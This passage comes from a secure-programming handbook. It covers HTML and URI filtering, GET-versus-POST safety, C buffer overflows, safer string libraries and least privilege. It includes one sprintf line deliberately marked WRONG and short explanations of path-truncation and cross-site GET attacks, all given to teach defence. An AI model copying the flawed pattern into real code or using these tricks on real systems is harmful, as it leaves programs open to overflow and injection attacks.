Once again, this presumes that you're not permitting any attributes;
many attributes can be quite dangerous and pierce the security you're
trying to provide.
</para>

<para>
Please note that all of these patterns require the entire URI match
the pattern.
An unfortunate fact of these patterns is that they limit the
allowable patterns in a way that forbids many useful ones
(e.g., they prevent the use of new URI schemes).
Also, none of them can prevent the very real problem that some web sites
perform more than queries when presented with a query - and some of these
web sites are internal to an organization.
As a result, no URI can really be safe until there
are no web sites that accept GET queries as an action
(see <xref linkend="avoid-get-non-queries">).
For more information about legal URLs/URIs, see IETF RFC 2396;
domain name syntax is further discussed in IETF RFC 1034.
</para>
</sect2>

<sect2 id="other-html-tags">
<title>Other HTML tags</title>

<para>
You might even consider supporting more HTML tags.
Obvious next choices are the list-oriented tags, such as
&lt;ol&gt; (ordered list),
&lt;ul&gt; (unordered list),
and &lt;li&gt; (list item).
However, after a certain point you're really permitting
full publishing (in which case you need to trust the provider or perform more
serious checking than will be described here).
Even more importantly, every new functionality you add creates an
opportunity for error (and exploit).
</para>

<para>
One example would be permiting the
&lt;img&gt; (image) tag with the same URI pattern.
It turns out this is substantially less safe, because this
permits third parties to insert ``web bugs'' into the document,
identifying who read the document and when.
See <xref linkend="embedded-content-bugs"> for more information on web bugs.
</para>
</sect2>

<sect2 id="related-issues">
<title>Related Issues</title>

<para>
Web applications should also explicitly specify the character set
(usually ISO-8859-1), and not permit other characters, if data from
untrusted users is being used.
See <xref linkend="output-character-encoding"> for more information.
</para>

<para>
Since filtering this kind of input is easy to get wrong, other
alternatives have been discussed as well.
One option is to ask users to use a different language, much simpler
than HTML, that you've designed - and you give that language very limited
functionality.
Another approach is parsing the HTML into some internal ``safe'' format,
and then translating that safe format back to HTML.
</para>

<para>
Filtering can be done during input, output, or both.
The CERT recommends filtering data during the output process,
just before it is rendered as part of the dynamic page.
This is because, if it is done correctly, 
this approach ensures that all dynamic content is filtered.
The CERT believes that filtering on the input side is less effective
because dynamic content can be entered into a web sites database(s) via
methods other than HTTP, and in this case,
the web server may never see the data as part of the input process.
Unless the filtering is implemented in all places where dynamic data
is entered, the data elements may still be remain tainted.
</para>

<para>
However, I don't agree with CERT on this point for all cases.
The problem is that it's just as easy to forget to filter all the output
as the input, and allowing ``tainted'' input into your system
is a disaster waiting to happen anyway.
A secure program has to filter its inputs anyway, so it's sometimes better
to include all of these checks as part of the input filtering
(so that maintainers can see what the rules really are).
And finally, in some secure programs there are many different program
locations that may output a value, but only a very few ways and locations
where a data can be input into it;
in such cases filtering on input may be a better idea.
</para>
</sect2>

</sect1>

<sect1 id="avoid-get-non-queries">
<title>Forbid HTTP GET To Perform Non-Queries</title>
<para>
Web-based applications using HTTP should prevent the use of
the HTTP ``GET'' or ``HEAD'' method for anything other than queries.
HTTP includes a number of different methods; the two most popular methods
used are GET and POST.
Both GET and POST can be used to transmit data from a form, but the
GET method transmits data in the URL, while the POST method
transmits data separately.
</para>

<para>
The security problem of using GET to perform non-queries
(such as changing data, transferring money, or signing up for a service)
is that an attacker can create
a hypertext link with a URL that includes malicious form data.
If the attacker convinces a victim to click on the link
(in the case of a hypertext link),
or even just view a page (in the case of transcluded information
such as images from HTML's img tag), the victim
will perform a GET.
When the GET is performed,
all of the form data created by the attacker will be sent by the victim
to the link specified.
This is a cross-site malicious content attack, as discussed further in
<xref linkend="cross-site-malicious-content">.
</para>

<para>
If the only action that a malicious cross-site content attack can perform is
to make the user view unexpected data, this isn't as serious a problem.
This can still be a problem, of course, since there are some attacks
that can be made using this capability.
For example, there's a
potential loss of privacy due to the user requesting something unexpected,
possible real-world effects from appearing to request illegal or
incriminating material, or by making the user request the information
in certain ways the information may be exposed to an attacker
in ways it normally wouldn't be exposed.
However, even more serious effects can be caused if the malicious attacker
can cause not just data viewing, but changes in data, through
a cross-site link.
</para>

<para>
Typical HTTP interfaces (such as most CGI libraries) normally hide the
differences between GET and POST, since for getting data it's useful
to treat the methods ``the same way.''
However, for actions that actually cause something other than a data query,
check to see if the request is something other than POST;
if it is, simply display a filled-in form with the data given and ask
the user to confirm that they really mean the request.
This will prevent cross-site malcious content attacks, while still
giving users the convenience of confirming the action with
a single click.
</para>

<para>
Indeed, this behavior is strongly recommended by the HTTP specification.
According to the HTTP 1.1 specification (IETF RFC 2616 section 9.1.1),
``the GET and HEAD methods SHOULD NOT have the significance of
taking an action other than retrieval.
These methods ought to be considered "safe".
This allows user agents to represent other methods,
such as POST, PUT and DELETE, in a special way,
so that the user is made aware of the fact that a possibly
unsafe action is being requested.''
</para>

</sect1>


<sect1 id="limit-time">
<title>Limit Valid Input Time and Load Level</title>

<para>
Place timeouts and load level limits, especially on incoming network data.
Otherwise, an attacker might be able to easily cause a denial of service
by constantly requesting the service.
</para>

</sect1>

</chapter>

<chapter id="buffer-overflow">
<title>Avoid Buffer Overflow</title>

<epigraph>
<attribution>Amos 3:11 (NIV)</attribution>
<para>
An enemy will overrun the land;
he will pull down your strongholds and
plunder your fortresses.
</para>
</epigraph>

<para>
An extremely common security flaw is vulnerability to a ``buffer overflow''.
Buffer overflows are also called ``buffer overruns'', and there are
many kinds of buffer overflow attacks (including
``stack smashing'' and ``heap smashing'' attacks).
Technically, a buffer overflow is a problem with the program's internal
implementation, but it's such a common and serious problem that
I've placed this information in its own chapter.
To give you an idea of how important this subject is,
at the CERT, 9 of 13 advisories in 1998 and at least half of
the 1999 advisories involved buffer overflows.
An informal 1999 survey on Bugtraq found that approximately 2/3 of the
respondents felt that buffer overflows were the leading cause of
system security vulnerability (the remaining respondents identified
``misconfiguration'' as the leading cause) [Cowan 1999].
This is an old, well-known problem, yet it continues to resurface
[McGraw 2000].
<!-- ???: Get the stats from the libsafe paper -->
</para>

<para>
A buffer overflow occurs when you write a set of values
(usually a string of characters) into a fixed length buffer
and write at least one value outside that buffer's boundaries
(usually past its end).
A buffer overflow can occur when reading input from the user into a buffer,
but it can also occur during other kinds of processing in a program.
</para>

<para>
If a secure program permits a buffer overflow, the overflow can often be
exploited by an adversary.
If the buffer is a local C variable, the overflow can be used to
force the function to run code of an attackers' choosing.
This specific variation is often called a ``stack smashing'' attack.
A buffer in the heap isn't much better; attackers may be able to
use such overflows to control other variables in the program.
More details can be found from Aleph1 [1996], Mudge [1995],
or the Nathan P. Smith's
"Stack Smashing Security Vulnerabilities" website at
<ulink
url="http://destroy.net/machines/security/">http://destroy.net/machines/security/</ulink>.
</para>

<para>
Most high-level programming languages are essentially
immune to this problem, either
because they automatically resize arrays (e.g., Perl), or because they normally
detect and prevent buffer overflows (e.g., Ada95).
However, the C language provides no protection against
such problems, and C++ can be easily used in ways to cause this problem too.
Assembly language also provides no protection, and some languages
that normally include such protection (e.g., Ada and Pascal) can have
this protection disabled (for performance reasons).
Even if most of your program is written in another language,
many library routines are written in C or C++, as well as ``glue'' code to
call them, so other languages often don't provide as complete a protection
from buffer overflows as you'd like.
</para>

<sect1 id="dangers-c">
<title>Dangers in C/C++</title>

<para>
C users must avoid using dangerous functions that do not check bounds
unless they've ensured that the bounds will never get exceeded.
Functions to avoid in most cases (or ensure protection) include
the functions strcpy(3), strcat(3), sprintf(3)
(with cousin vsprintf(3)), and gets(3).
These should be replaced with functions such as strncpy(3), strncat(3),
snprintf(3), and fgets(3) respectively, but see the discussion below.
The function strlen(3) should be avoided unless you can ensure that there
will be a terminating NIL character to find.
The scanf() family (scanf(3), fscanf(3),  sscanf(3),  vscanf(3),
vsscanf(3), and vfscanf(3)) is often dangerous to use; do not use it
to send data to a string without controlling the maximum length
(the format %s is a particularly common problem).
Other dangerous functions that may permit buffer overruns (depending on their
use) include
realpath(3), getopt(3), getpass(3),
streadd(3), strecpy(3), and strtrns(3).
You must careful with getwd(3); the buffer sent to getwd(3) must be
at least PATH_MAX bytes long.
</para>

<para>
Unfortunately, snprintf()'s variants have additional problems.
Officially, snprintf() is not a standard C function in the ISO 1990
(ANSI 1989) standard, though sprintf() is,
so not all systems include snprintf().
Even worse, some systems' snprintf() do not actually protect
against buffer overflows; they just call sprintf directly.
Old versions of Linux's libc4 depended on a ``libbsd'' that did this
horrible thing, and I'm told that some old HP systems did the same.
Linux's current version of snprintf is known to work correctly, that is, it
does actually respect the boundary requested.
The return value of snprintf() varies as well;
the Single Unix Specification (SUS) version 2
and the C99 standard differ on what is returned by snprintf().
Finally, it appears that at least some versions of
snprintf don't guarantee that its string will end in NIL; if the
string is too long, it won't include NIL at all.
Note that the glib library (the basis of GTK, and not the same as the
GNU C library glibc) has a g_snprintf(), which
has a consistent return semantic, always NIL-terminates, and
most importantly always respects the buffer length.
<!-- libsafe protects:
       [vf]scanf(const char *format, ...)
              May overflow its arguments. 
       realpath(char *path, char resolved_path[])
              May overflow the path buffer. 
       [v]sprintf(char *str, const char *format, ...)
              May overflow the str buffer. 
-->
</para>

</sect1>

<sect1 id="library-c">
<title>Library Solutions in C/C++</title>

<para>
One solution in C/C++ is to use library functions that do not have
buffer overflow problems.
The first subsection describes the ``standard C library'' solution, which
can work but has its disadvantages.
The next subsection describes the general security issues of both
fixed length and dynamically reallocated approaches to buffers.
The following subsections describe various alternative libraries,
such as strlcpy and libmib.
</para>

<sect2 id="buffer-standard-solution">
<title>Standard C Library Solution</title>

<para>
The ``standard'' solution to prevent buffer overflow in C
is to use the standard C library calls that defend against these
problems.
This approach depends heavily on the standard library functions
strncpy(3) and strncat(3).
If you choose this approach, beware: these calls have somewhat surprising
semantics and are hard to use correctly.
The function strncpy(3) does not NIL-terminate the destination string
if the source string length is at least equal to the destination's, so
be sure to set the last character of the destination string to NIL after
calling strncpy(3).
If you're going to reuse the same buffer many times,
an efficient approach is to tell strncpy() that the buffer is one
character shorter than it actually is and set the last character to
NIL once before use.
Both strncpy(3) and strncat(3) require that you pass
the amount of space left available, a computation
that is easy to get wrong (and getting it wrong could permit a
buffer overflow attack).
Neither provide a simple mechanism to determine if an overflow has occurred.
Finally, strncpy(3) has a significant performance penalty compared
to the strcpy(3) it supposedly replaces,
because <emphasis remap="it">strncpy(3) NIL-fills the remainder of the destination</emphasis>.
I've gotten emails expressing surprise over this last point, but this is
clearly stated in Kernighan and Ritchie second edition
[Kernighan 1988, page 249], and this behavior is clearly documented in
the man pages for Linux, FreeBSD, and Solaris.
This means that just changing from strcpy to strncpy can cause a severe
reduction in performance, for no good reason in most cases.
</para>

<para>
<!-- from Hudin Lucian, BUGTRAQ - 29 Jun 2000 -->
<!-- David A. Wheeler checked it and found that it was WRONG - 18 July 2000 -->
<!-- Sean Winn reaffirmed this 28 Oct 2000.  Wheeler rechecked, and found
     that his code was wrong.  Text here was rewritten as a result. -->
You can also use sprintf() while preventing
buffer overflows, but you need to be careful when doing so;
it's so easy to misapply that it's hard to recommend.
The sprintf control string can contain various conversion specifiers
(e.g., "%s"), and the control specifiers can have optional
field width (e.g., "%10s") and precision (e.g., "%.10s") specifications.
These look quite similar (the only difference is a period)
but they are very different.
The field width only
specifies a <emphasis>minimum</emphasis> length and is
completely worthless for preventing buffer overflows.
In contrast, the precision specification specifies the maximum
length that that particular string may have in its output when
used as a string conversion specifier - and thus it can be used
to protect against buffer overflows.
Note that the precision specification only specifies the total maximum
length when dealing with a string; it has a different meaning for
other conversion operations.
If the size is given as "*", then you can pass the maximum size
as a parameter (e.g., the result of a sizeof() operation).
This is most easily shown by an example - here's the wrong and right
way to use sprintf() to protect against buffer overflows:
<programlisting width="61">
 char buf[BUFFER_SIZE];
 sprintf(buf, "%*s",  sizeof(buf)-1, "long-string");  /* WRONG */
 sprintf(buf, "%.*s", sizeof(buf)-1, "long-string");  /* RIGHT */
</programlisting>
In theory, sprintf() should be very helpful because you can use it
to specify complex formats.
Sadly, it's easy to get things wrong with sprintf().
If the format is complex, you
need to make sure that the destination is large enough for the largest
possible size of the <emphasis>entire</emphasis>
format, but the precision field only controls
the size of one parameter.
The "largest possible" value is often hard to determine when a
complicated output is being created.
If a program doesn't allocate quite enough space for the longest possible
combination, a buffer overflow vulnerability may open up.
Also, sprintf() appends a NUL to the destination
after the entire operation is complete -
this extra character is easy to forget and creates an opportunity
for off-by-one errors.
So, while this works, it can be painful to use in some circumstances.
</para>

</sect2>

<sect2 id="static-vs-dynamic-buffers">
<title>Static and Dynamically Allocated Buffers</title>

<para>
strncpy and friends are an example of statically allocated buffers, that
is, once the buffer is allocated it stays a fixed size.
The alternative is to dynamically reallocate buffer sizes as you need them.
It turns out that both approaches have security implications.
</para>

<para>
<!-- Thanks to Ryan McCabe (thanks.odin@numb.org) for the comment
     that fixed-length buffers have their own exploitable problems. -->
There is a general security problem when using fixed-length buffers: the fact
that the buffer is a fixed length may be exploitable.
This is a problem with strncpy(3) and strncat(3), snprintf(3),
strlcpy(3), strlcat(3), and other such functions.
The basic idea is that the attacker sets up a really long string so that,
when the string is truncated, the final result will be what the
attacker wanted (instead of what the developer intended).
Perhaps the string is catenated from several smaller
pieces; the attacker might make the first piece as long as the entire
buffer, so all later attempts to concatenate strings do nothing.
Here are some specific examples:

<itemizedlist>
<listitem>

<para>
Imagine code that calls gethostbyname(3) and, if
successful, immediately copies hostent-&#62;h&lowbar;name to a
fixed-size buffer using strncpy or snprintf.
Using strncpy or snprintf protects against an overflow of an excessively
long fully-qualified domain name (FQDN), so you might think you're done.
However, this could result in chopping off the end of the FQDN.
This may be very undesirable, depending on what happens next.
</para>
</listitem>
<listitem>

<para>
Imagine code that uses strncpy, strncat, snprintf, etc., to copy the
full path of a filesystem object to some buffer.
Further imagine that the original value was provided by an
untrusted user, and that the copying is part of a process to pass a
resulting computation to a function.
Sounds safe, right?
Now imagine that an attacker pads a path
with a large number of '/'s at the beginning.  This could
result in future operations being performed on the file ``/''.
If the program appends values in the belief that the result will be safe,
the program may be exploitable.
Or, the attacker could devise a long filename near the buffer length, so that
attempts to append to the filename would silently fail to occur
(or only partially occur in ways that may be exploitable).
</para>
</listitem>

</itemizedlist>

</para>

<para>
When using statically-allocated buffers,
you really need to consider the length of the source and destination arguments.
Sanity checking the input and the resulting intermediate computation might
deal with this, too.
</para>

<para>
Another alternative is to dynamically reallocate all strings instead of using
fixed-size buffers.
This general approach is recommended by the GNU programming guidelines,
since it permits programs to handle arbitrarily-sized inputs
(until they run out of memory).
Of course, the major problem with dynamically allocated strings is that you
may run out of memory.  The memory may even be exhausted at some other
point in the program than the portion where you're worried about buffer
overflows; any memory allocation can fail.
Also, since dynamic reallocation may cause memory to be inefficiently
allocated, it is entirely possible to run out of memory even though
technically there is enough virtual memory available to the program
to continue.
In addition, before running out of memory the program will probably
use a great deal of virtual memory; this can easily result in
``thrashing'', a situation in which the computer spends all its time
just shuttling information between the disk and memory (instead of
doing useful work).
This can have the effect of a denial of service attack.
Some rational limits on input size can help here.
In general, the program must be designed to
fail safely when memory is exhausted if you use dynamically allocated strings.
</para>

</sect2>

<sect2 id="strlcpy">
<title>strlcpy and strlcat</title>

<para>
An alternative, being employed by OpenBSD, is the
strlcpy(3) and strlcat(3) functions by Miller and de Raadt [Miller 1999].
This is a minimalist, statically-sized buffer approach that provides C string
copying and concatenation with a different (and less error-prone) interface.
Source and documentation of these functions
are available under a newer BSD-style open source license at
<ulink
url="ftp://ftp.openbsd.org/pub/OpenBSD/src/lib/libc/string/strlcpy.3">ftp://ftp.openbsd.org/pub/OpenBSD/src/lib/libc/string/strlcpy.3</ulink>.
</para>

<para>
First, here are their prototypes:

<screen width="61">
size_t strlcpy (char *dst, const char *src, size_t size);
size_t strlcat (char *dst, const char *src, size_t size);
</screen>

Both strlcpy and strlcat
take the full size of the destination buffer as a parameter
(not the maximum number of characters to be copied) and guarantee to
NIL-terminate the result (as long as size is larger than 0).
Remember that you should include a byte for NIL in the size.
</para>

<para>
The strlcpy function copies up to
size-1 characters from the NUL-terminated string src to dst,
NIL-terminating the result.
The strlcat
function appends the NIL-terminated string
src to the end of dst.
It will append at most 
size - strlen(dst) - 1 bytes, NIL-terminating the result.
</para>

<para>
One minor disadvantage of strlcpy(3) and strlcat(3) is that they are
not, by default, installed in most Unix-like systems.
In OpenBSD, they are part of &lt;string.h&gt;.
This is not that difficult a problem; since they are small functions, you can
even include them in your own program's source (at least as an option),
and create a small separate package to load them.
You can even use autoconf to handle this case automatically.
If more programs use these functions, it won't be long before these are
standard parts of Linux distributions and other Unix-like systems.
Also, these functions have been
been recently added to the ``glib'' library (I submitted the patch
to do this), so using glib will (in the future) make them available.
In glib these functions are named g_strlcpy and g_strlcat
(not strlcpy or strlcat) to be consistent with the glib library
naming conventions.
</para>

</sect2>

<sect2 id="libmib">
<title>libmib</title>

<para>
One toolset for C that dynamically reallocates strings automatically
is the ``libmib allocated string functions'' by
Forrest J. Cavalier III, available at
<ulink
url="http://www.mibsoftware.com/libmib/astring">http://www.mibsoftware.com/libmib/astring</ulink>.
There are two variations of libmib; ``libmib-open'' appears to be clearly
open source under its own X11-like license that
permits modification and redistribution, but redistributions must choose
a different name, however, the developer states that it
``may not be fully tested.''
To continuously get libmib-mature, you must pay for a subscription.
The documentation is not open source, but it is freely available.
</para>

</sect2>

<sect2 id="libsafe">
<title>Libsafe</title>

<para>
Arash Baratloo, Timothy Tsai, and Navjot Singh
(of Lucent Technologies)
have developed Libsafe, a wrapper of several library functions known to be
vulnerable to stack smashing attacks.
This wrapper (which they call a kind of ``middleware'')
is a simple dynamically loaded library that contains modified versions
of C library functions such as strcpy(3).
These modified versions
implement the original functionality, but in a manner that ensures
that any buffer overflows are contained within the current stack frame.
Their initial performance analysis suggests that this
library's overhead is very small.
Libsafe papers and source code are available at
<ulink url="http://www.bell-labs.com/org/11356/libsafe.html">http://www.bell-labs.com/org/11356/libsafe.html</ulink>.
The Libsafe source code is available under the completely
open source LGPL license,
and there are indications that many Linux distributors are interested
in using it.
</para>

<para>
Libsafe's approach appears somewhat useful.
Libsafe should certainly be considered for inclusion by Linux
distributors, and its approach is worth considering by others as well.
However, as a software developer, Libsafe is a useful mechanism
to support defense-in-depth but it does not really prevent buffer
overflows.
Here are several reasons why you shouldn't depend just on Libsafe
during code development:
<itemizedlist>

<listitem><para>
Libsafe only protects a small set of known functions with obvious
buffer overflow issues.
At the time of this writing, this list is significantly shorter than
the list of functions in this book known to have this problem.
It also won't protect against code you write yourself (e.g., in
a while loop) that causes buffer overflows.
</para></listitem>

<listitem><para>
Even if libsafe is installed in a distribution, the way it is installed
impacts its use.
The documentation recommends setting LD_PRELOAD 
to cause libsafe's protections to be enabled, but the problem
is that users can unset this environment variable... causing the
protection to be disabled for programs they execute!
</para></listitem>

<listitem><para>
Libsafe only protects against buffer overflows of the stack onto the
return address;
you can still overrun the heap or other variables in that procedure's frame.
</para></listitem>

<listitem><para>
Unless you can be assured that all deployed platforms will use libsafe
(or something like it), you'll have to protect your program as though
it wasn't there.
</para></listitem>


<listitem><para>
LibSafe seems to assume that saved frame pointers are at the beginning of
each stack frame.  This isn't always true. 
Compilers (such as gcc) can optimize away things, and in particular the
option "-fomit-frame-pointer" removes the information that libsafe
seems to need.
Thus, libsafe may fail to work for some programs.
<!-- More info at:
  http://msgs.securepoint.com/cgi-bin/get/bugtraq0004/109/1.html
  http://www2.merton.ox.ac.uk/~security/security-audit-200004/0069.html -->
</para></listitem>
</itemizedlist>
</para>

<para>
The libsafe developers themselves acknowledge that software developers
shouldn't just depend on libsafe.
In their words:

<blockquote><para>
It is generally accepted that the best solution to
buffer overflow attacks is to fix the defective programs.
However, fixing defective programs requires knowing that
a particular program is defective.
The true benefit of using libsafe and other alternative
security measures is protection against future attacks
on programs that are not yet known to be vulnerable. 
</para></blockquote>
</para>
</sect2>

<sect2 id="other-buffer-libraries">
<title>Other Libraries</title>

<para>
The glib (not glibc) library is a widely-available
open source library that provides
a number of useful functions for C programmers.
GTK+ and GNOME both use glib, for example.
As I noted earlier, in glib version 1.3.2, g_strlcpy() and g_strlcat() have
been added through a patch which I submitted. This should make it easier to
portably use those functions once these later versions of glib
become widely available.
At this time I do not have an analysis showing definitively that the
glib library functions protect against buffer overflow.
However, many of the glib functions automatically allocate memory,
and those functions automatically
<emphasis>fail with no reasonable way to intercept the failure</emphasis>
(e.g., to try something else instead).
As a result, in many cases most glib functions cannot
be used in most secure programs.
The GNOME guidelines recommend using functions such as
g_strdup_printf(), which is fine as long as it's okay if your program
immediately crashes if an out-of-memory condition occurs.
However, if you can't accept this, then using such routines isn't approriate.
</para>

<!-- 
??? Need to investigate if standard demands safety.
C++ has a set of string classes and templates as well
(see basic&lowbar;string and string)
-->

</sect2>

</sect1>

<sect1 id="compilation-c">
<title>Compilation Solutions in C/C++</title>

<para>
A completely different approach is to use compilation methods that perform
bounds-checking (see [Sitaker 1999] for a list).
In my opinion, such tools are very useful in having multiple layers of
defense, but it's not wise to use this technique as your sole defense.
There are at least two reasons for this.
First of all, most such tools only provide partial defense against
buffer overflows (and the ``complete'' defenses are generally
12-30 times slower); C and C++ were simply not designed to protect
against buffer overflow.
Second of all, for open source programs you cannot be certain what tools
will be used to compile the program; using the default ``normal'' compiler
for a given system might suddenly open security flaws.
</para>

<para>
One of the more useful tools is ``StackGuard'', a modification of the
standard GNU C compiler gcc.
StackGuard works by inserting a ``guard'' value (called a ``canary'')
in front of the return address; if a buffer overflow
overwrites the return address, the canary's value (hopefully) changes
and the system detects this before using it.
This is quite valuable, but note that this does not protect against
buffer overflows overwriting other values (which they may still be able
to use to attack a system).
There is work to extend StackGuard to be able to add canaries to other
data items, called ``PointGuard''.
PointGuard will automatically protect certain values (e.g., function
pointers and longjump buffers).
However, protecting other variable types using PointGuard
requires specific programmer intervention (the programmer
has to identify which data values must be protected with canaries).
This can be valuable, but it's easy to accidentally omit
protection for a data value you didn't think needed protection -
but needs it anyway.
More information on StackGuard, PointGuard, and other alternatives
is in Cowan [1999].
</para>

<para>
As a related issue, in Linux you could modify the Linux kernel so that
the stack segment is not executable; such a patch to Linux does exist
(see Solar Designer's patch, which includes this, at
<ulink
url="http://www.openwall.com/linux/">http://www.openwall.com/linux/</ulink>
However, as of this writing this is not built into the Linux kernel.
Part of the rationale is that this is less protection than it seems;
attackers can simply force the system to call other ``interesting'' locations
already in the program (e.g., in its library, the heap,
or static data segments).
Also, sometimes Linux does require executable code in the stack,
e.g., to implement signals and to implement GCC ``trampolines''.
Solar Designer's patch does handle these cases, but this does
complicate the patch.
Personally, I'd like to see this merged into the main Linux
distribution, since it does make attacks somewhat more difficult and
it defends against a range of existing attacks.
However, I agree with Linus Torvalds and others
that this does not add the amount of protection it would appear to and
can be circumvented with relative ease.
You can read Linus Torvalds' explanation for not including this support at
<ulink
url="http://lwn.net/980806/a/linus-noexec.html">http://lwn.net/980806/a/linus-noexec.html</ulink>.
</para>

<para>
In short, it's better to work first on developing a correct program
that defends itself against buffer overflows.
Then, after you've done this, by all means use techniques and tools
like StackGuard as an additional safety net.
If you've worked hard to eliminate buffer overflows in the code itself,
then StackGuard is likely to be more effective because there will be
fewer ``chinks in the armor'' that StackGuard will be called on to protect.
</para>

</sect1>

<sect1 id="other-languages">
<title>Other Languages</title>

<para>
The problem of buffer overflows is an excellent argument for using
other programming languages
such as Perl, Python, Java, and Ada95.
After all, nearly all other programming languages used today
(other than assembly language) protect against buffer overflows.
Using those other languages does not eliminate all problems, of course;
in particular see the discussion in <xref linkend="limit-call-outs">
regarding the NIL character.
There is also the problem of ensuring that those other languages'
infrastructure (e.g., run-time library) is available and secured.
Still, you should certainly consider using other programming languages
when developing secure programs to protect against buffer overflows.
</para>

</sect1>

</chapter>

<chapter id="internals">
<title>Structure Program Internals and Approach</title>

<epigraph>
<attribution>Proverbs 25:28 (NIV)</attribution>
<para>
Like a city whose walls are broken down is a man who lacks self-control. 
</para>
</epigraph>

<sect1 id="follow-good-principles">
<title>Follow Good Software Engineering Principles for Secure Programs</title>

<para>
Saltzer [1974] and later Saltzer and Schroeder [1975]
list the following principles of the design of secure
protection systems, which are still valid:

<itemizedlist>
<listitem>

<para>
<emphasis remap="it">Least privilege</emphasis>.
Each user and program should operate using the fewest privileges possible.
This principle limits the damage from an accident, error, or attack.
It also reduces the number of potential interactions among privileged programs,
so unintentional,
unwanted, or improper uses of privilege are less likely to occur. 
This idea can be extended to the internals of a program: only the smallest
portion of the program which needs those privileges should have them.
See <xref linkend="minimize-privileges"> for more about how to do this.
</para>
</listitem>
<listitem>

<para>
<emphasis remap="it">Economy of mechanism/Simplicity</emphasis>.
The protection system's design should be simple and
small as possible.
In their words,
``techniques such as line-by-line inspection of software and physical
examination of hardware that implements protection mechanisms are necessary.
For such techniques to be successful, a small and simple design is essential.''
This is sometimes described as the ``KISS'' principle
(``keep it simple, stupid'').
</para>
</listitem>


<listitem>
<para>
<emphasis remap="it">Open design</emphasis>.
The protection mechanism must not depend on attacker ignorance.
Instead, the mechanism should be public, depending on the secrecy of
relatively few (and easily changeable) items like passwords or private keys.
An open design makes extensive public scrutiny possible, and it also
makes it possible for users to convince themselves that the system about
to be used is adequate.
Frankly, it isn't realistic to try to maintain secrecy for a system that
is widely distributed;
decompilers and subverted hardware can quickly expose any ``secrets''
in an implementation.
Bruce Schneier argues that smart engineers should ``demand
open source code for anything related to security'',
as well as ensuring that it receives widespread review and that
any identified problems are fixed [Schneier 1999].
</para>
</listitem>

<listitem>
<para>
<emphasis remap="it">Complete mediation</emphasis>.
Every access attempt must be checked; position the mechanism
so it cannot be subverted.
For example, in a client-server model, generally the server must do all
access checking because users can build or modify their own clients.
This is the point of all of
<xref linkend="input">, as well as
<xref linkend="secure-interface">.
</para>
</listitem>
<listitem>

<para>
<emphasis remap="it">Fail-safe defaults (e.g., permission-based approach)</emphasis>.
The default should be denial of service, and the
protection scheme should then identify conditions under which
access is permitted.
See <xref linkend="safe-configure"> and <xref linkend="fail-safe">
for more.
</para>
</listitem>
<listitem>

<para>
<emphasis remap="it">Separation of privilege</emphasis>.
Ideally, access to objects should depend on more than one condition, so
that defeating one protection system won't enable complete access.
</para>
</listitem>
<listitem>

<para>
<emphasis remap="it">Least common mechanism</emphasis>.
Minimize the amount and
use of shared mechanisms (e.g. use of the /tmp or /var/tmp directories).
Shared objects provide potentially dangerous channels for information
flow and unintended interactions.
See <xref linkend="avoid-race"> for more information.
</para>
</listitem>
<listitem>

<para>
<emphasis remap="it">Psychological acceptability / Easy to use</emphasis>.
The human interface must be designed for ease of use so users will routinely
and automatically use the protection mechanisms correctly.
Mistakes will be reduced if
the security mechanisms closely match the user's mental image of
his or her protection goals.
</para>
</listitem>

</itemizedlist>

</para>
</sect1>

<sect1 id="secure-interface">
<title>Secure the Interface</title>

<para>
Interfaces should be minimal (simple as possible), narrow
(provide only the functions needed), and non-bypassable.
Trust should be minimized.
Consider limiting the data that the user can see.
</para>

<para>
Applications and data viewers may be used to
display files developed externally, so in general don't allow them
to accept programs (also known as ``scripts'' or ``macros'')
unless you're willing to do the
extensive work necessary to create a secure sandbox.
The most dangerous kind is an auto-executing macro that executes
when the application is loaded and/or when the data is initially
displayed; from a security point-of-view this is
a disaster waiting to happen unless you have extremely strong control
over what the macro can do (a ``sandbox''), and past experience has
shown that real sandboxes are hard to implement.
</para>

</sect1>

<sect1 id="minimize-privileges">
<title>Minimize Privileges</title>

<para>
As noted earlier, it is an important general
principle that programs have the minimal amount of privileges
necessary to do its job (this is termed ``least privilege'').
That way, if the program is broken, its damage is limited.
The most extreme example is to simply not write a secure program at all -
if this can be done, it usually should be.
For example, don't make your program setuid or setgid if you can; just
make it an ordinary program, and require the administrator to log in as such
before running it.
</para>

<para>
In Linux and Unix, the primary determiner of a process' privileges is the set of
id's associated with it:
each process has a real, effective and saved id for both the user and group.
Linux also has the filesystem uid and gid.
Manipulating these values is critical to keeping privileges minimized,
and there are several ways to minimize them (discussed below).
You can also use chroot(2) to minimize the files visible to a program.
</para>

<sect2 id="mimimize-privileges-granted">
<title>Minimize the Privileges Granted</title>

<para>
Perhaps the most effective technique is to simply minimize the
the highest privilege granted.
In particular, avoid granting a program root privilege if possible.
Don't make a program <emphasis remap="it">setuid root</emphasis> if it only needs access
to a small set of files;
consider creating separate user or group accounts for different function.
</para>

<para>
A common technique is to
create a special group, change a file's group ownership to that group,
and then make the program <emphasis remap="it">setgid</emphasis> to that group.
It's better to make a program <emphasis remap="it">setgid</emphasis> instead of <emphasis remap="it">setuid</emphasis>
where you can,
since group membership grants fewer rights (in particular, it does not
grant the right to change file permissions).
</para>

<para>
This is commonly done for game high scores.
Games are usually setgid <emphasis remap="it">games</emphasis>,
the score files are owned by the group <emphasis remap="it">games</emphasis>,
and the programs themselves and their configuration files
are owned by someone else (say root).
Thus, breaking into a game allows the perpetrator to change high scores but
doesn't grant the privilege to change the game's executable or
configuration file.
The latter is important; if an attacker could change a game's executable
or its configuration files (which might control what the executable runs),
then they might be able to gain control of a user who ran the game.
</para>

<para>
If creating a new group isn't sufficient, consider creating a
new pseudouser (really, a special role) to manage a set of resources.
Web servers typically do this; often web servers are set up with a special
user (``nobody'') so that they can be isolated from other users.
Indeed, web servers are instructive here: web servers typically need
root privileges to start up (so they can attach to port 80), but once
started they usually shed all their privileges and
run as the user ``nobody''.
Again, usually the pseudouser doesn't own the primary program it runs,
so breaking into the account doesn't allow for changing the program itself.
As a result, breaking into a running web server normally does not
automatically break the whole system's security.
</para>

<para>
If you <emphasis remap="it">must</emphasis> give a program root privileges,
consider using the POSIX capability features available in Linux 2.2 and
greater to minimize them immediately on program startup.
By calling cap&lowbar;set&lowbar;proc(3) or the Linux-specific capsetp(3) 
routines immediately after starting, you can permanently
reduce the abilities of your program to just those abilities it actually needs.
Note that <emphasis remap="it">not</emphasis> all Unix-like systems implement POSIX capabilities,
so this is an approach that can lose portability; however, if you use it
merely as an optional safeguard only where it's available, using this
approach will not really limit portability.
Also, while the Linux kernel version 2.2 and greater includes the low-level
calls, the C-level libraries to make their use easy are not installed
